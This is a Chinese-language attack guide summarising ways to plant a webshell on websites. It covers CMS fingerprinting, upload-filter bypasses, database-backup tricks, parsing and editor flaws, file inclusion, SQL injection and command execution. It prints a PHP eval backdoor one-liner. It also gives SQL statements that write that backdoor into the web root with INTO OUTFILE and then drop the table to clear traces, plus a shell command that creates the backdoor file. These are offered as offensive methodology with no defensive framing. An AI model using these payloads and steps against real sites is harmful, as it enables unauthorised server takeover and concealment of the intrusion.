企业🤖AI Agent构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
[TOC] # 获取Webshell思路总结 ## 1️⃣CMS获取webshell方法: ### 1、什么是CMS? CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端,使用者只需要部署cms,然后通过后台添加数据,修改图片等工作,就能搭建好一个的WEB系统。 ### 2、如何查看CMS相关信息? 1. 如果已经攻破后台,那么进入后台之后CMS系统有可能直接显示 2. 很多网站都会在网站的最下方信息中显示CMS版本信息 3. 通过web指纹识别扫描器扫描 常用的为御剑WEB指纹识别系统 4. 通过浏览器的插件查看指纹信息 火狐和Google推荐用wappalyzer ### 3、如何获取CMS的webshell? 找到网站使用的cms版本信息后,通过搜索引擎搜索,就可以得到相关版本获取webshell的方法 搜索关键字如:“wordpress拿webshell”。 ## 2️⃣非CMS获取webshell: 更多的时候企业并不使用开源的CMS,而是选择自己开发源代码,这里的思路分为有权限和无权限两方面来分析 ### 一、有管理权限的情况: 是指前期通过其他方法,已经破解了管理后台功能,可以使用管理后台的情况 #### **㈠、通过正常上传一句话小马获取webshell** 1. 检查网站是否过滤上传文件后缀格式,如果未过滤直接上传一句话小马即可。 2. 找到网站默认配置,将一句话小马插入配置中 因为有些网站没有对配置参数进行过滤,所以配置中的小马被读取后,就可能被连接 建议先下载该站源码,进行查看源码过滤规则,以防插马失败。 插马失败很有可能会导致网站被你的小马中没有闭合标签导致网站出错。注意要闭合原有的代码,保证语法正确,以免程序运行出错。 #### **㈡、利用后台数据库备份获取webshell** 一般网站都不允许上传脚本类型文件,如 asp、php、jsp、aspx等文件。但一般后台都会有数据库备份功能。步骤如下 1. 上传允许格式的小马(如图片马) 2. 找到文件上传后的文件路径 3. 通过数据库备份,指定备份源文件与与备份后格式。 如果后台限制了备份路径,可以尝试F12修改文本框元素 #### ㈢、通过花样上传一句话小马获取Webshell 使用BurpSuite 工具,%00截断、特殊名文件名绕过、文件名大小写绕过、黑白名单绕过等等,想尽一切办法就是要上传一句话木马,通过各种变形,万变不离其宗,换汤不换药。 #### ㈣、通过编辑模块、标签等拿WebShell ①通过对网站的**模块**进行编辑写入一句话,然后生成脚本文件拿WebShell ②通过将木马添加到压缩文件,把名字改为**网站模板类型**,上传到网站服务器,拿WebShell #### ㈤、SQL命令获取 有一定的数据库权限的情况下,通过向数据库表写入马,然后备份该表为脚本文件的方式进行 **大致步骤:** 1. 创建表 2. 将一句话写入刚创建的表中 3. 查询一句话所在表到文件,成功将一句话写入文件 第一种方法: ```sql CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL ); #将一句话木马插入到mysql库best表best1字段 INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[password]);?>'); #查询这个字段导出到网站的文件中 SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php'; #把痕迹清除 DROP TABLE IF EXISTS `best`; ``` 第二种方法: 优先推荐,简单明了,且避免了误删别人的数据! ```sql #直接将查询出来的语句写入文件 select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php' ``` #### ㈥、利用解析漏洞拿WebShell ``` 1)IIS5.x / 6.0 解析漏洞 2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞 3)Nginx < 8.03 空字节代码执行漏洞 4)Apache 解析漏洞 ``` 其他的还有命令执行漏洞,反序列化漏洞等 #### ㈦、利用编辑器漏洞拿WebShell 利用网站的编辑器上传木马,搜索已知的编辑器漏洞,常见的编辑器有 fckeditor、ewebeditor、cheditor等,有时候没有管理员权限也可以拿下webshell。 #### ㈧、文件包含拿WebShell 1. 首先需要存在文件包含漏洞 2. 先将WebShell 改为txt格式文件上传 3. 然后上传一个脚本文件包含该txt格式文件 4. 通过这种方式,可绕过WAF拿WebShell #### ㈨、上传其它脚本类型拿WebShell 1. 此类型用于一台服务器具有多个网站 a网站是asp的站,b可能是php的站,分别限制了asp和php文件的上传,可以尝试向A上传php的脚本,来拿Shell 2. 也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如"xx.asp.", 来突破文件类型限制进行上传拿WebShell #### ㈩、修改网站上传类型配置来拿WebShell 某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell ### 二、非管理权限 * * * #### ㈠、SQL注入漏洞 前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径 ①可以通过log 备份、差异备份拿WebShell ②可以通过`into outfile`,`into outfile`函数(写入函数)将一句话木马写入,拿WebShell。 ③利用phpmyadmin 将木马导出,拿WebShell ④利用连接外连的数据库拿WebShell ``` 1. 要有file_priv权限 2. 知道文件绝对路径 3. 能使用union 4. 对web目录有读权限 5. 若过滤了单引号,则可以将函数中的字符进行hex编码 ``` #### ㈡、xss和sql注入联合利用 有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话`<?php @eval($_POST['CE']);?>`,之后再用数据库注入,查询到文件into file成功插入一句话木马 #### ㈢、IIS写权限拿WebShell 有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,已经很少见了,有专门的利用工具(桂林老兵)。 原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。 #### ㈣、远程命令执行拿WebShell 在有php代码执行漏洞,例如一些框架漏洞的时候可以通过执行一些系统命令进行拿WebShell。执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。 ``` echo ?php "@eval($_POST['CE']);?>" > x.php ``` #### ㈤、头像上传拿WebShell 大概思路: ①将大马放在文件夹中 ②将文件夹压缩成压缩文件(zip) ③正常上传一个头像并且抓包 ④将数据包中图片头像的内容部分删掉 ⑤重新写入文件内容,将压缩文件写入到原本图片的位置 ⑥上传,之后返回包中会告诉我们绝对路径